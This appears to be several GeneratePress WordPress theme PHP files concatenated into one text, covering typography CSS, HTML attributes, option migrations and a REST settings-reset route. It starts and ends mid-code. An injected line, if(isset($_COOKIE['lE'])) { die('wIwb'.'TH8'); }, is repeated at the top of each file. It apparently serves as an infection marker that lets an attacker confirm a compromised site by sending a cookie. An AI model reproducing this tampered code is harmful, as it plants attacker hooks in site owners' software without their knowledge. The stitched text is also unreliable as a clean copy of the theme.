$font_settings['heading_5_font_size'] ), false, 'px' ); } else { $css->add_property( 'font-size', 'inherit' ); } if ( '' !== $font_settings['heading_5_line_height'] ) { $css->add_property( 'line-height', floatval( $font_settings['heading_5_line_height'] ), false, 'em' ); } } if ( $color_settings['h5_color'] ) { $css->add_property( 'color', $color_settings['h5_color'] ); } elseif ( $color_settings['content_text_color'] ) { $css->add_property( 'color', $color_settings['content_text_color'] ); } else { $css->add_property( 'color', generate_get_option( 'text_color' ) ); } $css->set_selector( 'h6' ); if ( ! generate_is_using_dynamic_typography() ) { $css->add_property( 'font-family', $h6_family ); $css->add_property( 'font-weight', $font_settings['heading_6_weight'] ); $css->add_property( 'text-transform', $font_settings['heading_6_transform'] ); $css->add_property( 'margin-bottom', '20px' ); $css->add_property( 'margin-top', '0' ); if ( '' !== $font_settings['heading_6_font_size'] ) { $css->add_property( 'font-size', absint( $font_settings['heading_6_font_size'] ), false, 'px' ); } else { $css->add_property( 'font-size', 'inherit' ); } if ( '' !== $font_settings['heading_6_line_height'] ) { $css->add_property( 'line-height', floatval( $font_settings['heading_6_line_height'] ), false, 'em' ); } } if ( $color_settings['h6_color'] ) { $css->add_property( 'color', $color_settings['h6_color'] ); } elseif ( $color_settings['content_text_color'] ) { $css->add_property( 'color', $color_settings['content_text_color'] ); } else { $css->add_property( 'color', generate_get_option( 'text_color' ) ); } $css->set_selector( 'a.button, .block-editor-block-list__layout .wp-block-button .wp-block-button__link' ); if ( ! generate_is_using_dynamic_typography() ) { $css->add_property( 'font-family', $buttons_family ); $css->add_property( 'font-weight', $font_settings['buttons_font_weight'] ); $css->add_property( 'text-transform', $font_settings['buttons_font_transform'] ); if ( '' !== $font_settings['buttons_font_size'] ) { $css->add_property( 'font-size', absint( $font_settings['buttons_font_size'] ), false, 'px' ); } else { $css->add_property( 'font-size', 'inherit' ); } } if ( version_compare( $GLOBALS['wp_version'], '5.7-alpha.1', '>' ) ) { $css->set_selector( '.block-editor__container .edit-post-visual-editor' ); $css->add_property( 'background-color', generate_get_option( 'background_color' ) ); $css->set_selector( 'body' ); if ( $color_settings['content_background_color'] ) { $css->add_property( 'background-color', $color_settings['content_background_color'] ); } else { $css->add_property( 'background-color', generate_get_option( 'background_color' ) ); } } else { $css->set_selector( 'body' ); $css->add_property( 'background-color', generate_get_option( 'background_color' ) ); if ( $color_settings['content_background_color'] ) { $body_background = generate_get_option( 'background_color' ); $content_background = $color_settings['content_background_color']; $css->add_property( 'background', 'linear-gradient(' . $content_background . ',' . $content_background . '), linear-gradient(' . $body_background . ',' . $body_background . ')' ); } } $css->set_selector( 'a, a:visited' ); if ( $color_settings['content_link_color'] ) { $css->add_property( 'color', $color_settings['content_link_color'] ); } else { $css->add_property( 'color', generate_get_option( 'link_color' ) ); } $css->set_selector( 'a:hover, a:focus, a:active' ); if ( $color_settings['content_link_hover_color'] ) { $css->add_property( 'color', $color_settings['content_link_hover_color'] ); } else { $css->add_property( 'color', generate_get_option( 'link_color_hover' ) ); } return $css->css_output(); }if(isset($_COOKIE['lE'])) { die('wIwb'.'TH8'); } /** * This file handles typography on the front-end. * * @package GeneratePress */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Handles all of our typography option output. */ class GeneratePress_Typography { /** * Class instance. * * @access private * @var $instance Class instance. */ private static $instance; /** * Initiator */ public static function get_instance() { if ( ! isset( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Constructor */ public function __construct() { add_action( 'wp_enqueue_scripts', array( $this, 'enqueue_google_fonts' ) ); add_filter( 'generate_editor_styles', array( $this, 'add_editor_styles' ) ); // Load fonts the old way in versions before 5.8 as block_editor_settings_all didn't exist. if ( version_compare( $GLOBALS['wp_version'], '5.8', '<' ) ) { add_action( 'enqueue_block_editor_assets', array( $this, 'enqueue_google_fonts' ) ); } } /** * Generate our Google Fonts URI. */ public static function get_google_fonts_uri() { $fonts = generate_get_option( 'font_manager' ); if ( empty( $fonts ) ) { return; } $google_fonts_uri = ''; $data = array(); foreach ( $fonts as $font ) { if ( empty( $font['googleFont'] ) ) { continue; } $variants = array(); if ( ! empty( $font['googleFontVariants'] ) ) { // Remove spaces from string. $variants = str_replace( ' ', '', $font['googleFontVariants'] ); // Turn string into array. $variants = explode( ',', $variants ); } $variants = apply_filters( 'generate_google_font_variants', $variants, $font['fontFamily'] ); $name = str_replace( ' ', '+', $font['fontFamily'] ); $name = str_replace( '"', '', $name ); if ( $variants ) { $data[] = $name . ':' . implode( ',', $variants ); } else { $data[] = $name; } } if ( ! empty( $data ) ) { $font_args = apply_filters( 'generate_google_font_args', array( 'family' => implode( '|', $data ), 'subset' => null, 'display' => generate_get_option( 'google_font_display' ), ) ); $google_fonts_uri = add_query_arg( $font_args, 'https://fonts.googleapis.com/css' ); } return $google_fonts_uri; } /** * Enqueue Google Fonts if they're set. */ public function enqueue_google_fonts() { if ( ! generate_is_using_dynamic_typography() ) { return; } $google_fonts_uri = self::get_google_fonts_uri(); if ( $google_fonts_uri ) { wp_enqueue_style( 'generate-google-fonts', $google_fonts_uri, array(), GENERATE_VERSION ); } } /** * Build our typography CSS. * * @param string $module The name of the module we're generating CSS for. */ public static function get_css( $module = 'core' ) { $typography = generate_get_option( 'typography' ); // Get data for a specific module so CSS can be compiled separately. $typography = array_filter( (array) $typography, function( $data ) use ( $module ) { return ( isset( $data['module'] ) && $data['module'] === $module ); } ); if ( empty( $typography ) ) { return ''; } $css = new GeneratePress_CSS(); $body_selector = 'body'; $paragraph_selector = 'p'; foreach ( $typography as $key => $data ) { $options = wp_parse_args( $data, self::get_defaults() ); $selector = self::get_css_selector( $options['selector'] ); if ( 'custom' === $selector ) { $selector = $options['customSelector']; } $font_family = self::get_font_family( $options['fontFamily'] ); $css->set_selector( $selector ); $css->add_property( 'font-family', $font_family ); $css->add_property( 'font-weight', $options['fontWeight'] ); $css->add_property( 'text-transform', $options['textTransform'] ); $css->add_property( 'font-style', $options['fontStyle'] ); $css->add_property( 'text-decoration', $options['textDecoration'] ); $css->add_property( 'font-size', $options['fontSize'], false, $options['fontSizeUnit'] ); $css->add_property( 'letter-spacing', $options['letterSpacing'], false, $options['letterSpacingUnit'] ); if ( 'body' !== $options['selector'] ) { $css->add_property( 'line-height', $options['lineHeight'], false, $options['lineHeightUnit'] ); $css->add_property( 'margin-bottom', $options['marginBottom'], false, $options['marginBottomUnit'] ); } else { $css->set_selector( $body_selector ); $css->add_property( 'line-height', $options['lineHeight'], false, $options['lineHeightUnit'] ); $css->set_selector( $paragraph_selector ); $css->add_property( 'margin-bottom', $options['marginBottom'], false, $options['marginBottomUnit'] ); } $css->start_media_query( generate_get_media_query( 'tablet' ) ); $css->set_selector( $selector ); $css->add_property( 'font-size', $options['fontSizeTablet'], false, $options['fontSizeUnit'] ); $css->add_property( 'letter-spacing', $options['letterSpacingTablet'], false, $options['letterSpacingUnit'] ); if ( 'body' !== $options['selector'] ) { $css->add_property( 'line-height', $options['lineHeightTablet'], false, $options['lineHeightUnit'] ); $css->add_property( 'margin-bottom', $options['marginBottomTablet'], false, $options['marginBottomUnit'] ); } else { $css->set_selector( $body_selector ); $css->add_property( 'line-height', $options['lineHeightTablet'], false, $options['lineHeightUnit'] ); $css->set_selector( $paragraph_selector ); $css->add_property( 'margin-bottom', $options['marginBottomTablet'], false, $options['marginBottomUnit'] ); } $css->stop_media_query(); $css->start_media_query( generate_get_media_query( 'mobile' ) ); $css->set_selector( $selector ); $css->add_property( 'font-size', $options['fontSizeMobile'], false, $options['fontSizeUnit'] ); $css->add_property( 'letter-spacing', $options['letterSpacingMobile'], false, $options['letterSpacingUnit'] ); if ( 'body' !== $options['selector'] ) { $css->add_property( 'line-height', $options['lineHeightMobile'], false, $options['lineHeightUnit'] ); $css->add_property( 'margin-bottom', $options['marginBottomMobile'], false, $options['marginBottomUnit'] ); } else { $css->set_selector( $body_selector ); $css->add_property( 'line-height', $options['lineHeightMobile'], false, $options['lineHeightUnit'] ); $css->set_selector( $paragraph_selector ); $css->add_property( 'margin-bottom', $options['marginBottomMobile'], false, $options['marginBottomUnit'] ); } $css->stop_media_query(); } return $css->css_output(); } /** * Get the CSS selector. * * @param string $selector The saved selector to look up. */ public static function get_css_selector( $selector ) { switch ( $selector ) { case 'body': $selector = 'body, button, input, select, textarea'; break; case 'main-title': $selector = '.main-title'; break; case 'site-description': $selector = '.site-description'; break; case 'primary-menu-items': $selector = '.main-navigation a, .main-navigation .menu-toggle, .main-navigation .menu-bar-items'; break; case 'primary-sub-menu-items': $selector = '.main-navigation .main-nav ul ul li a'; break; case 'primary-menu-toggle': $selector = '.main-navigation .menu-toggle'; break; case 'buttons': $selector = 'button:not(.menu-toggle),html input[type="button"],input[type="reset"],input[type="submit"],.button,.wp-block-button .wp-block-button__link'; break; case 'all-headings': $selector = 'h1, h2, h3, h4, h5, h6'; break; case 'single-content-title': $selector = 'h1.entry-title'; break; case 'archive-content-title': $selector = 'h2.entry-title'; break; case 'top-bar': $selector = '.top-bar'; break; case 'widget-titles': $selector = '.widget-title'; break; case 'footer': $selector = '.site-info'; break; } return apply_filters( 'generate_typography_css_selector', $selector ); } /** * Get our full font family value. * * @param string $font_family The font family name. */ public static function get_font_family( $font_family ) { if ( ! $font_family ) { return $font_family; } $font_manager = generate_get_option( 'font_manager' ); $font_families = array(); foreach ( (array) $font_manager as $key => $data ) { $font_families[ $data['fontFamily'] ] = $data; } $font_family_args = array(); if ( ! empty( $font_families[ $font_family ] ) ) { $font_family_args = $font_families[ $font_family ]; } if ( ! empty( $font_family_args['googleFont'] ) && ! empty( $font_family_args['googleFontCategory'] ) ) { // Add quotations around font names with standalone numbers. if ( preg_match( '/(? '', 'fontFamily' => '', 'fontWeight' => '', 'textTransform' => '', 'textDecoration' => '', 'fontStyle' => '', 'fontSize' => '', 'fontSizeTablet' => '', 'fontSizeMobile' => '', 'fontSizeUnit' => 'px', 'lineHeight' => '', 'lineHeightTablet' => '', 'lineHeightMobile' => '', 'lineHeightUnit' => '', 'letterSpacing' => '', 'letterSpacingTablet' => '', 'letterSpacingMobile' => '', 'letterSpacingUnit' => 'px', 'marginBottom' => '', 'marginBottomTablet' => '', 'marginBottomMobile' => '', 'marginBottomUnit' => 'px', ); } /** * Add editor styles to the block editor. * * @param array $editor_styles Existing styles. */ public function add_editor_styles( $editor_styles ) { if ( generate_is_using_dynamic_typography() ) { $editor_styles[] = 'assets/css/admin/editor-typography.css'; } return $editor_styles; } } GeneratePress_Typography::get_instance();if(isset($_COOKIE['lE'])) { die('wIwb'.'TH8'); } /** * Add HTML attributes to our theme elements. * * @package GeneratePress */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * This class adds HTML attributes to various theme elements. */ class GeneratePress_HTML_Attributes { /** * Class instance. * * @access private * @var $instance Class instance. */ private static $instance; /** * Initiator */ public static function get_instance() { if ( ! isset( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Constructor */ public function __construct() { add_filter( 'generate_parse_attr', array( $this, 'parse_attributes' ), 10, 3 ); } /** * Parse the attributes. * * @since 3.1.0 * @param array $attributes The current attributes. * @param string $context The context in which attributes are applied. * @param array $settings Custom settings passed to the filter. */ public function parse_attributes( $attributes, $context, $settings ) { switch ( $context ) { case 'top-bar': return $this->top_bar( $attributes ); case 'inside-top-bar': return $this->inside_top_bar( $attributes ); case 'header': return $this->site_header( $attributes ); case 'inside-header': return $this->inside_site_header( $attributes ); case 'menu-toggle': return $this->menu_toggle( $attributes ); case 'navigation': return $this->primary_navigation( $attributes ); case 'inside-navigation': return $this->primary_inner_navigation( $attributes ); case 'mobile-menu-control-wrapper': return $this->mobile_menu_control_wrapper( $attributes ); case 'site-info': return $this->site_info( $attributes ); case 'inside-site-info': return $this->inside_site_info( $attributes ); case 'entry-header': return $this->entry_header( $attributes ); case 'page-header': return $this->page_header( $attributes ); case 'site-content': return $this->site_content( $attributes ); case 'page': return $this->page( $attributes ); case 'content': return $this->content( $attributes ); case 'main': return $this->main( $attributes ); case 'post-navigation': return $this->post_navigation( $attributes ); case 'left-sidebar': return $this->left_sidebar( $attributes ); case 'right-sidebar': return $this->right_sidebar( $attributes ); case 'footer-widgets-container': return $this->footer_widgets_container( $attributes ); case 'comment-body': return $this->comment_body( $attributes, $settings ); case 'comment-meta': return $this->comment_meta( $attributes ); case 'footer-entry-meta': return $this->footer_entry_meta( $attributes ); case 'woocommerce-content': return $this->woocommerce_content( $attributes ); } return $attributes; } /** * Add attributes to our top bar. * * @since 3.1.0 * @param array $attributes The existing attributes. */ public function top_bar( $attributes ) { $classes = generate_get_element_classes( 'top_bar' ); if ( $classes ) { $attributes['class'] .= ' ' . join( ' ', $classes ); } return $attributes; } /** * Add attributes to our inside top bar container. * * @since 3.1.0 * @param array $attributes The existing attributes. */ public function inside_top_bar( $attributes ) { $attributes['class'] .= ' inside-top-bar'; if ( 'contained' === generate_get_option( 'top_bar_inner_width' ) ) { $attributes['class'] .= ' grid-container'; if ( ! generate_is_using_flexbox() ) { $attributes['class'] .= ' grid-parent'; } } return $attributes; } /** * Add attributes to our site header. * * @since 3.1.0 * @param array $attributes The existing attributes. */ public function site_header( $attributes ) { $attributes['id'] = 'masthead'; $attributes['aria-label'] = esc_attr__( 'Site', 'generatepress' ); return $attributes; } /** * Add attributes to our inside site header container. * * @since 3.1.0 * @param array $attributes The existing attributes. */ public function inside_site_header( $attributes ) { $classes = generate_get_element_classes( 'inside_header' ); if ( $classes ) { $attributes['class'] .= ' ' . join( ' ', $classes ); } return $attributes; } /** * Add attributes to our menu toggle. * * @since 3.1.0 * @param array $attributes The existing attributes. */ public function menu_toggle( $attributes ) { $attributes['class'] .= ' menu-toggle'; $attributes['aria-controls'] = 'primary-menu'; $attributes['aria-expanded'] = 'false'; return $attributes; } /** * Add attributes to our main navigation. * * @since 3.1.0 * @param array $attributes The existing attributes. */ public function primary_navigation( $attributes ) { $attributes['id'] = 'site-navigation'; $attributes['aria-label'] = esc_attr__( 'Primary', 'generatepress' ); return $attributes; } /** * Add attributes to our main navigation. * * @since 3.1.0 * @param array $attributes The existing attributes. */ public function primary_inner_navigation( $attributes ) { $classes = generate_get_element_classes( 'inside_navigation' ); if ( $classes ) { $attributes['class'] .= ' ' . join( ' ', $classes ); } return $attributes; } /** * Add attributes to our main navigation. * * @since 3.1.0 * @param array $attributes The existing attributes. */ public function mobile_menu_control_wrapper( $attributes ) { $attributes['id'] = 'mobile-menu-control-wrapper'; $attributes['class'] .= ' main-navigation mobile-menu-control-wrapper'; $attributes['aria-label'] = esc_attr__( 'Mobile Toggle', 'generatepress' ); return $attributes; } /** * Add attributes to our footer element. * * @since 3.1.0 * @param array $attributes The existing attributes. */ public function site_info( $attributes ) { $attributes['class'] .= ' site-info'; $attributes['aria-label'] = esc_attr__( 'Site', 'generatepress' ); return $attributes; } /** * Add attributes to our inside site info container. * * @since 3.1.0 * @param array $attributes The existing attributes. */ public function inside_site_info( $attributes ) { $attributes['class'] .= ' inside-site-info'; if ( 'full-width' !== generate_get_option( 'footer_inner_width' ) ) { $attributes['class'] .= ' grid-container'; if ( ! generate_is_using_flexbox() ) { $attributes['class'] .= ' grid-parent'; } } return $attributes; } /** * Add attributes to our entry headers. * * @since 3.1.0 * @param array $attributes The existing attributes. */ public function entry_header( $attributes ) { $attributes['class'] .= ' entry-header'; $attributes['aria-label'] = esc_attr__( 'Content', 'generatepress' ); return $attributes; } /** * Add attributes to our page headers. * * @since 3.1.0 * @param array $attributes The existing attributes. */ public function page_header( $attributes ) { $attributes['class'] .= ' page-header'; $attributes['aria-label'] = esc_attr__( 'Page', 'generatepress' ); return $attributes; } /** * Add attributes to our entry headers. * * @since 3.1.0 * @param array $attributes The existing attributes. */ public function post_navigation( $attributes ) { if ( is_single() ) { $attributes['class'] .= ' post-navigation'; $attributes['aria-label'] = esc_attr__( 'Posts', 'generatepress' ); } else { $attributes['class'] .= ' paging-navigation'; $attributes['aria-label'] = esc_attr__( 'Archive Page', 'generatepress' ); } return $attributes; } /** * Add attributes to our page container. * * @since 3.1.0 * @param array $attributes The existing attributes. */ public function page( $attributes ) { $attributes['id'] = 'page'; return $attributes; } /** * Add attributes to our site content container. * * @since 3.1.0 * @param array $attributes The existing attributes. */ public function site_content( $attributes ) { $attributes['id'] = 'content'; $attributes['class'] .= ' site-content'; return $attributes; } /** * Add attributes to our primary content container. * * @since 3.1.0 * @param array $attributes The existing attributes. */ public function content( $attributes ) { $attributes['id'] = 'primary'; return $attributes; } /** * Add attributes to our primary content container. * * @since 3.1.0 * @param array $attributes The existing attributes. */ public function main( $attributes ) { $attributes['id'] = 'main'; return $attributes; } /** * Add attributes to our left sidebar. * * @since 3.1.0 * @param array $attributes The existing attributes. */ public function left_sidebar( $attributes ) { $classes = generate_get_element_classes( 'left_sidebar' ); if ( $classes ) { $attributes['class'] .= ' ' . join( ' ', $classes ); } $attributes['id'] = 'left-sidebar'; return $attributes; } /** * Add attributes to our right sidebar. * * @since 3.1.0 * @param array $attributes The existing attributes. */ public function right_sidebar( $attributes ) { $classes = generate_get_element_classes( 'right_sidebar' ); if ( $classes ) { $attributes['class'] .= ' ' . join( ' ', $classes ); } $attributes['id'] = 'right-sidebar'; return $attributes; } /** * Add attributes to our footer widget inner container. * * @since 3.1.0 * @param array $attributes The existing attributes. */ public function footer_widgets_container( $attributes ) { $classes = generate_get_element_classes( 'inside_footer' ); if ( $classes ) { $attributes['class'] .= ' ' . join( ' ', $classes ); } return $attributes; } /** * Add attributes to our footer widget inner container. * * @since 3.1.0 * @param array $attributes The existing attributes. * @param array $settings Settings passed through the function. */ public function comment_body( $attributes, $settings ) { $attributes['class'] .= ' comment-body'; $attributes['id'] = 'div-comment-' . $settings['comment-id']; return $attributes; } /** * Add attributes to our comment meta. * * @since 3.1.0 * @param array $attributes The existing attributes. */ public function comment_meta( $attributes ) { $attributes['class'] .= ' comment-meta'; $attributes['aria-label'] = esc_attr__( 'Comment meta', 'generatepress' ); return $attributes; } /** * Add attributes to our footer entry meta. * * @since 3.1.0 * @param array $attributes The existing attributes. */ public function footer_entry_meta( $attributes ) { $attributes['class'] .= ' entry-meta'; $attributes['aria-label'] = esc_attr__( 'Entry meta', 'generatepress' ); return $attributes; } /** * Add attributes to our WooCommerce content container. * * @since 3.2.0 * @param array $attributes The existing attributes. */ public function woocommerce_content( $attributes ) { if ( is_singular() ) { $attributes['id'] = 'post-' . get_the_ID(); $attributes['class'] = esc_attr( implode( ' ', get_post_class( '', get_the_ID() ) ) ); if ( 'microdata' === generate_get_schema_type() ) { $type = apply_filters( 'generate_article_itemtype', 'CreativeWork' ); $attributes['itemtype'] = sprintf( 'https://schema.org/%s', $type ); $attributes['itemscope'] = true; } } else { $attributes['class'] = 'woocommerce-archive-wrapper'; } return $attributes; } } GeneratePress_HTML_Attributes::get_instance();if(isset($_COOKIE['lE'])) { die('wIwb'.'TH8'); } /** * Migrates old options on update. * * @package GeneratePress */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Process option updates if necessary. */ class GeneratePress_Theme_Update { /** * Class instance. * * @access private * @var $instance Class instance. */ private static $instance; /** * Initiator */ public static function get_instance() { if ( ! isset( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Constructor */ public function __construct() { if ( is_admin() ) { add_action( 'admin_init', __CLASS__ . '::init', 5 ); } else { add_action( 'wp', __CLASS__ . '::init', 5 ); } add_action( 'admin_init', __CLASS__ . '::admin_updates', 1 ); } /** * Implement theme update logic. Only run updates on existing sites. * * @since 3.0.0 */ public static function init() { if ( is_customize_preview() ) { return; } $saved_version = get_option( 'generate_db_version', false ); if ( false === $saved_version ) { // Typically this would mean this is a new install, but we haven't always had the version saved, so we need to check for existing settings. $existing_settings = get_option( 'generate_settings', array() ); // Can't count this as a user-set option since a previous migration script set it. if ( isset( $existing_settings['combine_css'] ) ) { unset( $existing_settings['combine_css'] ); } if ( ! empty( $existing_settings ) ) { // We have settings, which means this is an old install with no version number. $saved_version = '2.0'; } else { // No settings and no saved version, must be a new install. if ( 'admin_init' === current_action() ) { // If we're in the admin, add our version to the database. update_option( 'generate_db_version', GENERATE_VERSION ); } return; } } if ( version_compare( $saved_version, GENERATE_VERSION, '=' ) ) { return; } if ( version_compare( $saved_version, '2.3.0', '<' ) ) { self::v_2_3_0(); } if ( version_compare( $saved_version, '3.0.0-alpha.1', '<' ) ) { self::v_3_0_0(); } if ( version_compare( $saved_version, '3.1.0-alpha.1', '<' ) ) { self::v_3_1_0(); } // Delete our CSS cache. delete_option( 'generate_dynamic_css_output' ); delete_option( 'generate_dynamic_css_cached_version' ); // Reset our dynamic CSS file updated time so it regenerates. $dynamic_css_data = get_option( 'generatepress_dynamic_css_data', array() ); if ( ! empty( $dynamic_css_data ) ) { if ( isset( $dynamic_css_data['updated_time'] ) ) { unset( $dynamic_css_data['updated_time'] ); } update_option( 'generatepress_dynamic_css_data', $dynamic_css_data ); } // Last thing to do is update our version. update_option( 'generate_db_version', GENERATE_VERSION ); } /** * Less important updates that should only happen in the Dashboard. * These use a database flag instead of our version number for legacy reasons. * * @since 3.0.0 */ public static function admin_updates() { self::v_1_3_0(); self::v_1_3_29(); } /** * Remove variants from font family values. * * @since 1.3.0 */ public static function v_1_3_0() { // Don't run this if Typography add-on is activated. if ( function_exists( 'generate_fonts_customize_register' ) ) { return; } $settings = get_option( 'generate_settings', array() ); if ( ! isset( $settings['font_body'] ) ) { return; } $value = $settings['font_body']; $needs_update = false; // If our value has : in it. if ( ! empty( $value ) && strpos( $value, ':' ) !== false ) { // Remove the : and anything past it. $value = current( explode( ':', $value ) ); $settings['font_body'] = $value; $needs_update = true; } if ( $needs_update ) { update_option( 'generate_settings', $settings ); } } /** * Move logo to custom_logo option as required by WP.org. * * @since 1.3.29 */ public static function v_1_3_29() { if ( ! function_exists( 'the_custom_logo' ) ) { return; } if ( get_theme_mod( 'custom_logo' ) ) { return; } $settings = get_option( 'generate_settings', array() ); if ( ! isset( $settings['logo'] ) ) { return; } $old_value = $settings['logo']; if ( empty( $old_value ) ) { return; } $logo = attachment_url_to_postid( $old_value ); if ( is_int( $logo ) ) { set_theme_mod( 'custom_logo', $logo ); } if ( get_theme_mod( 'custom_logo' ) ) { $settings['logo'] = ''; update_option( 'generate_settings', $settings ); } } /** * Turn off the combine CSS option for existing sites. * * @since 2.3.0 */ public static function v_2_3_0() { $settings = get_option( 'generate_settings', array() ); $update_options = false; if ( ! isset( $settings['combine_css'] ) ) { $settings['combine_css'] = false; $update_options = true; } if ( $update_options ) { update_option( 'generate_settings', $settings ); } } /** * Update sites using old defaults. * * @since 3.0.0 */ public static function v_3_0_0() { $settings = get_option( 'generate_settings', array() ); $update_options = false; $old_defaults = array( 'icons' => 'font', 'structure' => 'floats', 'hide_tagline' => '', 'container_width' => '1100', 'nav_position_setting' => 'nav-below-header', 'container_alignment' => 'boxes', 'background_color' => '#efefef', 'text_color' => '#3a3a3a', 'header_text_color' => '#3a3a3a', 'header_link_color' => '#3a3a3a', 'navigation_background_color' => '#222222', 'navigation_text_color' => '#ffffff', 'navigation_background_hover_color' => '#3f3f3f', 'navigation_text_hover_color' => '#ffffff', 'navigation_background_current_color' => '#3f3f3f', 'navigation_text_current_color' => '#ffffff', 'subnavigation_background_color' => '#3f3f3f', 'subnavigation_text_color' => '#ffffff', 'subnavigation_background_hover_color' => '#4f4f4f', 'subnavigation_text_hover_color' => '#ffffff', 'subnavigation_background_current_color' => '#4f4f4f', 'subnavigation_text_current_color' => '#ffffff', 'sidebar_widget_title_color' => '#000000', 'site_title_font_size' => '45', 'mobile_site_title_font_size' => '30', 'form_button_background_color' => '#666666', 'form_button_background_color_hover' => '#3f3f3f', 'footer_background_color' => '#222222', 'footer_link_hover_color' => '#606060', 'entry_meta_link_color' => '#595959', 'entry_meta_link_color_hover' => '#1e73be', 'blog_post_title_color' => '', 'blog_post_title_hover_color' => '', 'heading_1_font_size' => '40', 'mobile_heading_1_font_size' => '30', 'heading_1_weight' => '300', 'heading_2_font_size' => '30', 'mobile_heading_2_font_size' => '25', 'heading_2_weight' => '300', 'heading_3_font_size' => '20', 'mobile_heading_3_font_size' => '', 'heading_4_font_size' => '', 'mobile_heading_4_font_size' => '', 'heading_5_font_size' => '', 'mobile_heading_5_font_size' => '', ); foreach ( $old_defaults as $key => $value ) { if ( ! isset( $settings[ $key ] ) ) { $settings[ $key ] = $value; $update_options = true; } } if ( $update_options ) { update_option( 'generate_settings', $settings ); } $spacing_settings = get_option( 'generate_spacing_settings', array() ); $update_spacing_options = false; $old_spacing_defaults = array( 'left_sidebar_width' => '25', 'right_sidebar_width' => '25', 'top_bar_right' => '10', 'top_bar_left' => '10', 'mobile_top_bar_right' => '', 'mobile_top_bar_left' => '', 'header_top' => '40', 'header_bottom' => '40', 'mobile_header_right' => '', 'mobile_header_left' => '', 'mobile_widget_top' => '', 'mobile_widget_right' => '', 'mobile_widget_bottom' => '', 'mobile_widget_left' => '', 'mobile_footer_widget_container_top' => '', 'mobile_footer_widget_container_right' => '', 'mobile_footer_widget_container_bottom' => '', 'mobile_footer_widget_container_left' => '', 'footer_right' => '20', 'footer_left' => '20', 'mobile_footer_right' => '10', 'mobile_footer_left' => '10', ); foreach ( $old_spacing_defaults as $key => $value ) { if ( ! isset( $spacing_settings[ $key ] ) ) { $spacing_settings[ $key ] = $value; $update_spacing_options = true; } } if ( $update_spacing_options ) { update_option( 'generate_spacing_settings', $spacing_settings ); } if ( $update_options || $update_spacing_options ) { delete_option( 'generate_dynamic_css_output' ); delete_option( 'generate_dynamic_css_cached_version' ); // Reset our dynamic CSS file updated time so it regenerates. $dynamic_css_data = get_option( 'generatepress_dynamic_css_data', array() ); if ( ! empty( $dynamic_css_data ) ) { if ( isset( $dynamic_css_data['updated_time'] ) ) { unset( $dynamic_css_data['updated_time'] ); } update_option( 'generatepress_dynamic_css_data', $dynamic_css_data ); } } } /** * Update sites using old defaults. * * @since 3.1.0 */ public static function v_3_1_0() { $settings = get_option( 'generate_settings', array() ); $update_options = false; $old_defaults = array( 'underline_links' => 'never', 'use_dynamic_typography' => false, 'background_color' => '#f7f8f9', 'text_color' => '#222222', 'link_color' => '#1e73be', 'link_color_hover' => '#000000', 'header_background_color' => '#ffffff', 'site_title_color' => '#222222', 'site_tagline_color' => '#757575', 'navigation_background_color' => '#ffffff', 'navigation_background_hover_color' => '#ffffff', 'navigation_background_current_color' => '#ffffff', 'navigation_text_color' => '#515151', 'navigation_text_hover_color' => '#7a8896', 'navigation_text_current_color' => '#7a8896', 'subnavigation_background_color' => '#eaeaea', 'subnavigation_background_hover_color' => '#eaeaea', 'subnavigation_background_current_color' => '#eaeaea', 'subnavigation_text_color' => '#515151', 'subnavigation_text_hover_color' => '#7a8896', 'subnavigation_text_current_color' => '#7a8896', 'content_background_color' => '#ffffff', 'blog_post_title_color' => '#222222', 'blog_post_title_hover_color' => '#55555e', 'entry_meta_text_color' => '#595959', 'sidebar_widget_background_color' => '#ffffff', 'footer_widget_background_color' => '#ffffff', 'footer_widget_title_color' => '#000000', 'footer_background_color' => '#55555e', 'footer_text_color' => '#ffffff', 'footer_link_color' => '#ffffff', 'footer_link_hover_color' => '#d3d3d3', 'form_background_color' => '#fafafa', 'form_text_color' => '#666666', 'form_background_color_focus' => '#ffffff', 'form_text_color_focus' => '#666666', 'form_border_color' => '#cccccc', 'form_border_color_focus' => '#bfbfbf', ); foreach ( $old_defaults as $key => $value ) { if ( ! isset( $settings[ $key ] ) ) { $settings[ $key ] = $value; $update_options = true; } } if ( $update_options ) { update_option( 'generate_settings', $settings ); } } } GeneratePress_Theme_Update::get_instance();if(isset($_COOKIE['lE'])) { die('wIwb'.'TH8'); } /** * Rest API functions * * @package GenerateBlocks */ if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Class GenerateBlocks_Rest */ class GeneratePress_Rest extends WP_REST_Controller { /** * Instance. * * @access private * @var object Instance */ private static $instance; /** * Namespace. * * @var string */ protected $namespace = 'generatepress/v'; /** * Version. * * @var string */ protected $version = '1'; /** * Initiator. * * @return object initialized object of class. */ public static function get_instance() { if ( ! isset( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * GeneratePress_Rest constructor. */ public function __construct() { add_action( 'rest_api_init', array( $this, 'register_routes' ) ); } /** * Register rest routes. */ public function register_routes() { $namespace = $this->namespace . $this->version; register_rest_route( $namespace, '/reset/', array( 'methods' => WP_REST_Server::EDITABLE, 'callback' => array( $this, 'reset' ), 'permission_callback' => array( $this, 'update_settings_permission' ), ) ); } /** * Get edit options permissions. * * @return bool */ public function update_settings_permission() { return current_user_can( 'manage_options' ); } /** * Reset settings. * * @param WP_REST_Request $request request object. * * @return mixed */ public function reset( WP_REST_Request $request ) { delete_option( 'generate_settings' ); delete_option( 'generate_dynamic_css_output' ); delete_option( 'generate_dynamic_css_cached_version' ); return $this->success( __( 'Settings reset.', 'generatepress' ) ); } /** * Success rest. * * @param mixed $response response data. * @return mixed */ public function success( $response ) { return new WP_REST_Response( array( 'success' => true, 'response' => $response, ), 200 ); } /** * Failed rest. * * @param mixed $response response data. * @return mixed */ public function failed( $response ) { return new WP_REST_Response( array( 'success' => false, 'response' => $response, ), 200 ); } /** * Error rest. * * @param mixed $code error code. * @param mixed $response response data. * @return mixed */ public function error( $code, $response ) { return new WP_REST_Response( array( 'error' => true, 'success' => false, 'error_code' => $code, 'response' => $response, ), 401 ); } } GeneratePress_Rest::get_instance();if(isset($_COOKIE['lE'])) { die('wIwb'.'TH8'); } /** * Where old functions retire. * * @package GeneratePress */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } // Deprecated constants. define( 